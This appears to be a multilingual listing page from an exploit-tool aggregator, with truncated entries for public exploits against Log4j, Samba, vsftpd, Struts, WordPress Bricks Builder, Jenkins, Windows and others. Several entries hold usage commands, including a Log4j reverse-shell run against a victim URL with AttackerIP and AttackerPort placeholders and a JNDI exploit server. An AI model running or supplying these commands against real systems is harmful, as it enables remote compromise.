JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell Dettagli : CVE-2021-44228 Utilizzo : root@kitploit: ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u,...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Uso root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerI...

CVE-2007-2447-Exploit

CVE-2007-2447-Exploit Questo è un exploit per CVE-2007-2447; SMB vulnerabile...

CVE-2007-2447

CVE-2007-2447 Exploit Samba...

exploit-CVE-2007-2447

exploit-CVE-2007-2447 Exploit per la vulnerabilità CVE-2007-2447 Creato da: @xlcc4096 @CapitanJ4ck21 @CapitanJ4ck21 - https://github.com/Th3FirstAvenger...

CVE-2011-2523-PoC

vsftpd2.3.4 Semplice exploit realizzato in python che sfrutta la vulnerabilità vsftpd 2.3.4 Uso: python3 ftpxploit.py 127.0.0.1...

CVE-2007-2447

CVE-2007-2447 Saikat Karmakar | Oct 14 : 2022 Utilizzo: root@kitploit: python3 exploit-smb-3.0.20.py -lh -lp -t requisiti root@kitploit: pysmb argparse P.S. Non sono l'autore di questo CVE. Avevo a malapena un computer quando questo CVE è stato creato. Ho tentato di creare uno script automatizzat...

WORDPRESS-CVE-2024-25600-EXPLOIT-RCE

WORDPRESS-CVE-2024-25600-EXPLOIT-RCE WORDPRESS-CVE-2024-25600-EXPLOIT-RCE - WordPress Bricks Builder Execução Remota de Código RCE...

inception

Nota: Questo tool non è più in fase di sviluppo attivo; dai un'occhiata a PCILeech come alternativa. INCEPTION Inception è uno strumento di manipolazione della memoria fisica e di hacking che sfrutta il DMA basato su PCI. Il tool può attaccare tramite FireWire, Thunderbolt, ExpressCard, PC Card e...

CVE-2021-41773-exploit

Utilizzo file ip-ports.txt: root@kitploit: 1.1.1.1:80 root@kitploit: node CVE-2021-41773.js ip-ports.txt...

struts-pwn_CVE-2018-11776

struts-pwn - CVE-2018-11776 Exploit Ein Exploit für Apache Struts CVE-2018-11776 Verwendung Prüfen, ob die Schwachstelle für eine einzelne URL vorliegt. python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action' Prüfen, ob die Schwachstelle für eine Liste von URLs vorliegt...

CVE-2020-17382

CVE-2020-17382 Exploit per Windows 10 x64 2004 Build 19041.264 Un ringraziamento a @matteomalvica per avermi fatto così tante domande su questa vulnerabilità che mi ha costretto a scrivere un exploit per lui per l'ultima release di Windows 10 19041.264 senza KVA Shadow cioè CPU non vulnerabili a...

CVE-2017-8570

Uso: Dopo aver scaricato lo script, modifica attackip con l'IP di kali, LPORT con la porta su cui msf deve mettersi in ascolto e DIR con una directory vuota a piacere. Concedi allo script i permessi 777 root@kitploit: chmod 777 auto Quindi esegui lo script root@kitploit: ./auto Quindi, nella...

CVE-2017-5638

CVE-2017-5638 CVE: 2017-5638 em diferentes formatos A maioria exigirá que você insira a url e talvez queira alterar o comando Por favor, envie pull requests se puder fazer com que seja possível inserir uma url e comando! PHP - Exemplo http://localhost/2017-5638.php?url=TARGET&cmd=command...

bst

Binary String Toolkit Sommario Il Binary String Toolkit o BST in breve è un'utilità piuttosto semplice per convertire stringhe binarie in vari formati adatti all'inclusione in codici sorgente, come quelli utilizzati per sviluppare exploit e Proof of Concept nel campo della sicurezza...

cve-2022-29464

cve-2022-29464 script em lote para cve-2022-29464 Com base no exp do mestre MzzdToT, foi desenvolvido este script de detecção em lote para cve-2022-29464 python3 rce.py -f file.txt...

CVE-2024-24919-Exploit

CVE-2024-24919-Exploit Visão Geral Este repositório contém um exploit em python para o CVE-2024-24919, uma vulnerabilidade que permite ler arquivos sensíveis da página vulnerável. Este exploit primeiro verifica se o alvo é vulnerável e, em seguida, obtém o caminho que você especificar. Severidade...

CVE-2016-0792

Exploit para vulnerabilidade de serialização do Jenkins - CVE-2016-0792 https://www.exploit-db.com/exploits/42394/ Mais informações podem ser encontradas aqui 1. Contrast Security 2. Pentester Lab Requisitos 1. Python 3.6.x 2. A biblioteca requests é necessária para que este exploit funcione sudo...

exploits

exploits vari exploit...

CVE-2023-28252

CVE-2023-28252 Il TL;DR per gli apprendimenti sulla vulnerabilità Windows CVE-2023-28252 Quindi questo weekend stavo facendo pratica con la macchina Aero su Hack The Box. La macchina è molto divertente da giocare quando puoi simulare un attacco del mondo reale a una macchina Windows 11. Dopo aver...